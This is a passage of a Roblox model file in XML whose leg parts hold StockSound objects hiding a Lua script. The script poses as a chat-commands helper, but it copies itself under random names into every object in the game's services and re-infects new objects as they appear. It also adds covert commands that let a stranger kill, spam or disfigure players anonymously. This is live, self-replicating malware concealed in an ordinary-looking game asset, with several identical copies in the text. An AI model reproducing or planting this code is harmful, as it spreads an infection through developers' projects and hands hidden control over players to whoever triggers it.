er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX649">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-161.049683</X>
								<Y>1.52197087</Y>
								<Z>-3.67651367</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX650">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">fmgjh</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX651">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">mcs83</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX652">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-160.35257</X>
								<Y>1.52197087</Y>
								<Z>-4.39345551</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX653">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">6grqzi</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX654">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">jk33w2ajk</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
